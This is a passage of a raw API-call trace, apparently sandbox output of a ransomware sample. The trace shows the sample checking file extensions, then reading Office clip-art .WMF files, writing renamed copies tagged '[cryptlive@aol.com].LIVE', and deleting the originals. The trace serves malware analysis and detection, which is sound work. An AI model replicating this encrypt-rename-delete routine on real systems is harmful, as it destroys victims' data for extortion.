-1 [0147.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.833] lstrlenW (lpString=".jpg") returned 4 [0147.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.833] lstrlenW (lpString=".doc") returned 4 [0147.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.833] lstrlenW (lpString=".docx") returned 5 [0147.833] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0147.833] lstrlenW (lpString=".pdf") returned 4 [0147.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.833] lstrlenW (lpString=".xls") returned 4 [0147.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.833] lstrlenW (lpString=".xlsx") returned 5 [0147.833] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0147.833] lstrlenW (lpString=".ppt") returned 4 [0147.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.833] lstrlenW (lpString=".zip") returned 4 [0147.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.833] lstrlenW (lpString=".rar") returned 4 [0147.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.834] lstrlenW (lpString=".bz2") returned 4 [0147.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.834] lstrlenW (lpString=".7z") returned 3 [0147.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.834] lstrlenW (lpString=".dbf") returned 4 [0147.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.834] lstrlenW (lpString=".1cd") returned 4 [0147.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0147.834] lstrlenW (lpString=".jpg") returned 4 [0147.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.834] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.834] lstrlenW (lpString="J0086432.WMF") returned 12 [0147.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.835] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=33434) returned 1 [0147.835] CloseHandle (hObject=0x394) returned 1 [0147.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 0x20 [0147.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.835] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.836] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0147.836] GetLastError () returned 0x0 [0147.837] ReadFile (in: hFile=0x394, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x829a, lpOverlapped=0x0) returned 1 [0147.838] WriteFile (in: hFile=0x3d4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x82a0, lpOverlapped=0x0) returned 1 [0147.840] ReadFile (in: hFile=0x394, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.840] WriteFile (in: hFile=0x3d4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.840] SetEndOfFile (hFile=0x3d4) returned 1 [0147.840] CloseHandle (hObject=0x3d4) returned 1 [0147.840] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.840] SetEndOfFile (hFile=0x394) returned 1 [0147.846] CloseHandle (hObject=0x394) returned 1 [0147.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0147.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.847] lstrlenW (lpString=".doc") returned 4 [0147.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.847] lstrlenW (lpString=".docx") returned 5 [0147.847] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0147.847] lstrlenW (lpString=".pdf") returned 4 [0147.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.847] lstrlenW (lpString=".xls") returned 4 [0147.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.847] lstrlenW (lpString=".xlsx") returned 5 [0147.847] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0147.847] lstrlenW (lpString=".ppt") returned 4 [0147.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.848] lstrlenW (lpString=".zip") returned 4 [0147.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.848] lstrlenW (lpString=".rar") returned 4 [0147.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.848] lstrlenW (lpString=".bz2") returned 4 [0147.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.848] lstrlenW (lpString=".7z") returned 3 [0147.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.848] lstrlenW (lpString=".dbf") returned 4 [0147.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.848] lstrlenW (lpString=".1cd") returned 4 [0147.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.848] lstrlenW (lpString=".jpg") returned 4 [0147.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.848] lstrlenW (lpString=".doc") returned 4 [0147.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.848] lstrlenW (lpString=".docx") returned 5 [0147.848] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0147.848] lstrlenW (lpString=".pdf") returned 4 [0147.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.848] lstrlenW (lpString=".xls") returned 4 [0147.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.848] lstrlenW (lpString=".xlsx") returned 5 [0147.848] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0147.848] lstrlenW (lpString=".ppt") returned 4 [0147.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.848] lstrlenW (lpString=".zip") returned 4 [0147.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.849] lstrlenW (lpString=".rar") returned 4 [0147.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString=".bz2") returned 4 [0147.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString=".7z") returned 3 [0147.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.849] lstrlenW (lpString=".dbf") returned 4 [0147.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.849] lstrlenW (lpString=".1cd") returned 4 [0147.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned 63 [0147.849] lstrlenW (lpString=".jpg") returned 4 [0147.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.849] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.849] lstrlenW (lpString="J0086478.WMF") returned 12 [0147.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.850] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=14174) returned 1 [0147.850] CloseHandle (hObject=0x394) returned 1 [0147.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 0x20 [0147.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.850] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.850] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0147.851] GetLastError () returned 0x0 [0147.851] ReadFile (in: hFile=0x394, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x375e, lpOverlapped=0x0) returned 1 [0147.853] WriteFile (in: hFile=0x3d4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3760, lpOverlapped=0x0) returned 1 [0147.854] ReadFile (in: hFile=0x394, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.854] WriteFile (in: hFile=0x3d4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.855] SetEndOfFile (hFile=0x3d4) returned 1 [0147.855] CloseHandle (hObject=0x3d4) returned 1 [0147.855] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.855] SetEndOfFile (hFile=0x394) returned 1 [0147.857] CloseHandle (hObject=0x394) returned 1 [0147.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0147.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.860] lstrlenW (lpString=".doc") returned 4 [0147.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.860] lstrlenW (lpString=".docx") returned 5 [0147.860] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0147.860] lstrlenW (lpString=".pdf") returned 4 [0147.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.860] lstrlenW (lpString=".xls") returned 4 [0147.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.860] lstrlenW (lpString=".xlsx") returned 5 [0147.861] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0147.861] lstrlenW (lpString=".ppt") returned 4 [0147.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.861] lstrlenW (lpString=".zip") returned 4 [0147.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.861] lstrlenW (lpString=".rar") returned 4 [0147.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString=".bz2") returned 4 [0147.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString=".7z") returned 3 [0147.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.861] lstrlenW (lpString=".dbf") returned 4 [0147.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.861] lstrlenW (lpString=".1cd") returned 4 [0147.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.861] lstrlenW (lpString=".jpg") returned 4 [0147.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.861] lstrlenW (lpString=".doc") returned 4 [0147.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString=".docx") returned 5 [0147.861] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0147.861] lstrlenW (lpString=".pdf") returned 4 [0147.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString=".xls") returned 4 [0147.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.861] lstrlenW (lpString=".xlsx") returned 5 [0147.861] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0147.861] lstrlenW (lpString=".ppt") returned 4 [0147.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.862] lstrlenW (lpString=".zip") returned 4 [0147.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.862] lstrlenW (lpString=".rar") returned 4 [0147.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString=".bz2") returned 4 [0147.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString=".7z") returned 3 [0147.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.862] lstrlenW (lpString=".dbf") returned 4 [0147.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.862] lstrlenW (lpString=".1cd") returned 4 [0147.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0147.862] lstrlenW (lpString=".jpg") returned 4 [0147.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.862] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.862] lstrlenW (lpString="J0089945.WMF") returned 12 [0147.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.863] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=19898) returned 1 [0147.863] CloseHandle (hObject=0x394) returned 1 [0147.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 0x20 [0147.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.863] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.863] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0147.865] GetLastError () returned 0x0 [0147.865] ReadFile (in: hFile=0x394, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x4dba, lpOverlapped=0x0) returned 1 [0147.868] WriteFile (in: hFile=0x3d4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x4dc0, lpOverlapped=0x0) returned 1 [0147.869] ReadFile (in: hFile=0x394, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.869] WriteFile (in: hFile=0x3d4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.869] SetEndOfFile (hFile=0x3d4) returned 1 [0147.869] CloseHandle (hObject=0x3d4) returned 1 [0147.869] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.869] SetEndOfFile (hFile=0x394) returned 1 [0147.872] CloseHandle (hObject=0x394) returned 1 [0147.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0147.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.873] lstrlenW (lpString=".doc") returned 4 [0147.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.873] lstrlenW (lpString=".docx") returned 5 [0147.873] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0147.873] lstrlenW (lpString=".pdf") returned 4 [0147.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.873] lstrlenW (lpString=".xls") returned 4 [0147.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.873] lstrlenW (lpString=".xlsx") returned 5 [0147.873] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0147.873] lstrlenW (lpString=".ppt") returned 4 [0147.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.873] lstrlenW (lpString=".zip") returned 4 [0147.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.873] lstrlenW (lpString=".rar") returned 4 [0147.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.873] lstrlenW (lpString=".bz2") returned 4 [0147.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.873] lstrlenW (lpString=".7z") returned 3 [0147.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.873] lstrlenW (lpString=".dbf") returned 4 [0147.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.874] lstrlenW (lpString=".1cd") returned 4 [0147.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.874] lstrlenW (lpString=".jpg") returned 4 [0147.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF") returned 63 [0147.874] lstrlenW (lpString=".doc") returned 4 [0147.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.874] lstrlenW (lpString=".docx") returned 5 [0147.874] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0147.874] lstrlenW (lpString=".pdf") returned 4 [0147.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.874] 